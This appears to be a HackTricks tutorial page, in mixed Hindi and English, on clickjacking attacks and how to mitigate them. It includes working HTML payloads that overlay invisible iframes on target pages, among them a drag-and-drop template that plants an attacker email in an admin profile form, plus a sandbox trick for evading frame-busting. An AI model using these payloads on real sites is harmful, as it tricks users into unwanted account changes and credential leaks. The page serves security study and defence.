Clickjacking
Reading time: 10 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:
HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
Clickjacking क्या है
एक clickjacking हमले में, एक उपयोगकर्ता को किसी वेबपेज पर मौजूद किसी तत्व पर क्लिक करने के लिए धोखा दिया जाता है जो या तो अदृश्य होता है या किसी दूसरे तत्व के रूप में छिपाया गया होता है। इस तरह की चाल उपयोगकर्ता के लिए अनचाहे परिणाम ला सकती है, जैसे कि malware का डाउनलोड होना, दुर्भावनापूर्ण वेब पेजों पर पुनर्निर्देशन, credentials या संवेदनशील जानकारी का प्रावधान, पैसे का ट्रांसफर, या ऑनलाइन उत्पादों की खरीद।
फ़ॉर्म पूर्व-भरने की ट्रिक
कभी-कभी पेज लोड करते समय GET parameters का उपयोग करके फ़ॉर्म के फ़ील्ड्स के मान भरना संभव होता है। एक हमलावर इस व्यवहार का दुरुपयोग करके फ़ॉर्म को मनमाना डेटा भरने के लिए और clickjacking payload भेजने के लिए कर सकता है ताकि उपयोगकर्ता Submit बटन दबा दे।
Drag&Drop के साथ फ़ॉर्म भरना
अगर आपको उपयोगकर्ता से एक फ़ॉर्म भरवाना है लेकिन आप सीधे उससे कोई विशेष जानकारी (जैसे email या कोई विशेष password जो आप जानते हों) लिखने के लिए नहीं कहना चाहते, तो आप उससे बस किसी चीज़ को Drag&Drop करने के लिए कह सकते हैं जो आपकी नियंत्रित डेटा लिख देगा, जैसा कि यह उदाहरण में दिखाया गया है।
Basic Payload
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
बहु-चरण Payload
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
Drag&Drop + Click payload
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
XSS + Clickjacking
यदि आपने ऐसा XSS attack पाया है जो XSS को trigger करने के लिए किसी element पर user के क्लिक की ज़रूरत करता है और पेज clickjacking के लिए vulnerable है, तो आप इसे user को बटन/लिंक पर क्लिक कराने के लिए abuso कर सकते हैं।
Example:
आपने एक self XSS पाया जो account के कुछ private details में है (ऐसी details जिन्हें केवल आप ही set और read कर सकते हैं)। उन details को सेट करने वाले form वाला पेज Clickjacking के लिए vulnerable है और आप GET parameters के साथ उस form को prepopulate कर सकते हैं।
एक attacker उस पेज के लिए Clickjacking attack तैयार कर सकता है, form को XSS payload से prepopulating करके और user को Submit करने के लिए trick कर सकता है। तो, जब form submit होगा और values बदल जाएँगी, तो user XSS execute करेगा।
DoubleClickjacking
पहले explained in this post, यह technique victim से किसी custom page के किसी button पर double click करवा कर काम करती है जो एक specific स्थान पर रखा गया होता है, और mousedown और onclick events के बीच timing differences का इस्तेमाल कर के double click के दौरान victim page load कर देती है ताकि victim दरअसल victim page में मौजूद एक legit button पर क्लिक करे।
An example could be seen in this video: https://www.youtube.com/watch?v=4rGvRRMrD18
A code example can be found in this page.
warning
यह technique user को victim page के एक ही स्थान पर क्लिक करने के लिए trick करने की अनुमति देती है और सभी clickjacking protections को bypass कर सकती है। इसलिए attacker को ऐसे sensitive actions ढूँढने होंगे जिन्हें सिर्फ 1 क्लिक में किया जा सके, जैसे OAuth prompts में permissions स्वीकार करना।
Browser extensions: DOM-based autofill clickjacking
iframes के अलावा attackers उन browser extension UI elements को भी target कर सकते हैं जो पेज में inject होते हैं। Password managers focused inputs के पास autofill dropdowns render करते हैं; एक attacker-controlled field को focus करके और extension के dropdown को छुपाकर/occlude करके (opacity/overlay/top-layer tricks), मजबूर किया गया user click किसी stored item को select कर सकता है और sensitive data attacker-controlled inputs में भर सकता है। यह variant iframe exposure की ज़रूरत नहीं रखता और पूरी तरह DOM/CSS manipulation के माध्यम से काम करता है।
- For concrete techniques and PoCs see:
Strategies to Mitigate Clickjacking
Client-Side Defenses
client-side पर execute होने वाले scripts Clickjacking रोकने के लिए कुछ कदम उठा सकते हैं:
- सुनिश्चित करना कि application window main या top window हो।
- सभी frames को visible बनाना।
- invisible frames पर क्लिक को रोकना।
- संभावित Clickjacking प्रयासों का पता लगाना और users को alert करना।
हालाँकि, इन frame-busting scripts को circumvent किया जा सकता है:
- Browsers' Security Settings: कुछ browsers इन scripts को उनके security settings या JavaScript support की कमी के कारण block कर सकते हैं।
- HTML5 iframe sandbox Attribute: एक attacker frame buster scripts को neutralize कर सकता है by setting the sandbox attribute with allow-forms या allow-scripts values बिना allow-top-navigation के। यह iframe को verify करने से रोकता है कि क्या वह top window है, जैसे कि,
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>
The allow-forms and allow-scripts values enable actions within the iframe while disabling top-level navigation. To ensure the intended functionality of the targeted site, additional permissions like allow-same-origin and allow-modals might be necessary, depending on the attack type. Browser console messages can guide which permissions to allow.
सर्वर-साइड सुरक्षा
X-Frame-Options
The X-Frame-Options HTTP response header informs browsers about the legitimacy of rendering a page in a or
- X-Frame-Options: deny - किसी भी डोमेन द्वारा कंटेंट फ्रेम नहीं किया जा सकता।
- X-Frame-Options: sameorigin - केवल वर्तमान साइट ही कंटेंट को फ्रेम कर सकती है।
- X-Frame-Options: allow-from https://trusted.com - केवल निर्दिष्ट 'uri' पेज को फ्रेम कर सकती है।
- Note the limitations: यदि ब्राउज़र इस निर्देश का समर्थन नहीं करता है, तो यह काम नहीं कर सकता। कुछ ब्राउज़र CSP के frame-ancestors निर्देश को प्राथमिकता देते हैं।
Content Security Policy (CSP) frame-ancestors directive
frame-ancestors directive in CSP Clickjacking सुरक्षा के लिए सुझाया गया तरीका है:
- frame-ancestors 'none' - X-Frame-Options: deny के समान।
- frame-ancestors 'self' - X-Frame-Options: sameorigin के समान।
- frame-ancestors trusted.com - X-Frame-Options: allow-from के समान।
For instance, the following CSP only allows framing from the same domain:
Content-Security-Policy: frame-ancestors 'self';
Further details and complex examples can be found in the frame-ancestors CSP documentation and Mozilla's CSP frame-ancestors documentation.
Content Security Policy (CSP) with child-src and frame-src
Content Security Policy (CSP) एक सुरक्षा उपाय है जो यह निर्धारित करके Clickjacking और अन्य कोड इंजेक्शन हमलों को रोकने में मदद करता है कि ब्राउज़र किन स्रोतों को कंटेंट लोड करने की अनुमति दे।
frame-src Directive
- Defines valid sources for frames.
- More specific than the default-src directive.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
यह नीति same origin (self) और https://trusted-website.com से frames की अनुमति देती है।
child-src निर्देश
- CSP level 2 में web workers और frames के लिए वैध स्रोत सेट करने के लिए पेश किया गया।
- यह frame-src और worker-src के लिए एक fallback के रूप में कार्य करता है।
Content-Security-Policy: child-src 'self' https://trusted-website.com;
यह नीति समान origin (self) और https://trusted-website.com से आने वाले frames और workers को अनुमति देती है।
Usage Notes:
- Deprecation: child-src धीरे-धीरे हटाया जा रहा है और इसकी जगह frame-src और worker-src को प्राथमिकता दी जा रही है।
- Fallback Behavior: यदि frame-src अनुपस्थित है, तो frames के लिए fallback के रूप में child-src का उपयोग किया जाता है। यदि दोनों अनुपस्थित हैं, तो default-src का उपयोग किया जाता है।
- Strict Source Definition: directives में केवल विश्वसनीय स्रोत शामिल करें ताकि exploitation से बचाव हो सके।
JavaScript Frame-Breaking Scripts
हालाँकि यह पूरी तरह foolproof नहीं है, JavaScript-based frame-busting scripts का उपयोग किसी वेब पेज को फ्रेम होने से रोकने के लिए किया जा सकता है। उदाहरण:
if (top !== self) {
top.location = self.location
}
Anti-CSRF Tokens का उपयोग
- टोकन सत्यापन: वेब एप्लिकेशन में Anti-CSRF tokens का उपयोग करें ताकि स्थिति बदलने वाले अनुरोध उपयोगकर्ता द्वारा जानबूझकर किए गए हों और Clickjacked पेज के माध्यम से न किए गए हों।
संदर्भ
- https://portswigger.net/web-security/clickjacking
- https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html
- DOM-based Extension Clickjacking (marektoth.com)
tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:
HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
HackTricks